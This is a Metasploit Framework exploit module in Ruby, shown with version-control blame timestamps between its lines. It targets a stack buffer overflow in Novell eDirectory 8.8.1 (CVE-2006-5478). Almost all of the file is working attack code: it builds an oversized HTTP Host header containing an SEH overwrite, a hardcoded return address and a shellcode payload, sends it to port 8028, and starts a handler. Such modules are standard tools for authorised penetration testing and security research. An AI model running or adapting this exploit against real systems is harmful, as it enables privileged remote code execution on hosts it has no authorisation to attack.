2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-10-27 14:25:42 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-10-27 14:25:42 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2006-10-27 14:25:42 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Novell eDirectory NDS Server Host Header Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.
|
2010-04-30 08:40:19 +00:00
|
|
|
The web interface does not validate the length of the
|
|
|
|
HTTP Host header prior to using the value of that header in an
|
2006-10-27 14:25:42 +00:00
|
|
|
HTTP redirect.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2006-10-27 14:25:42 +00:00
|
|
|
['CVE', '2006-5478'],
|
2009-07-16 16:02:24 +00:00
|
|
|
['OSVDB', '29993'],
|
2006-10-27 14:25:42 +00:00
|
|
|
['BID', '20655'],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'seh',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll
|
2006-10-27 14:25:42 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DisclosureDate' => 'Oct 21 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([Opt::RPORT(8028)], self.class)
|
2006-10-27 14:25:42 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = "GET /nds HTTP/1.1" + "\r\n"
|
|
|
|
sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)
|
|
|
|
sploit << "," + rand_text_alphanumeric(719, payload_badchars)
|
2006-10-27 14:25:42 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
sploit[705, seh.length] = seh
|
|
|
|
sploit << "\r\n\r\n"
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-27 14:25:42 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|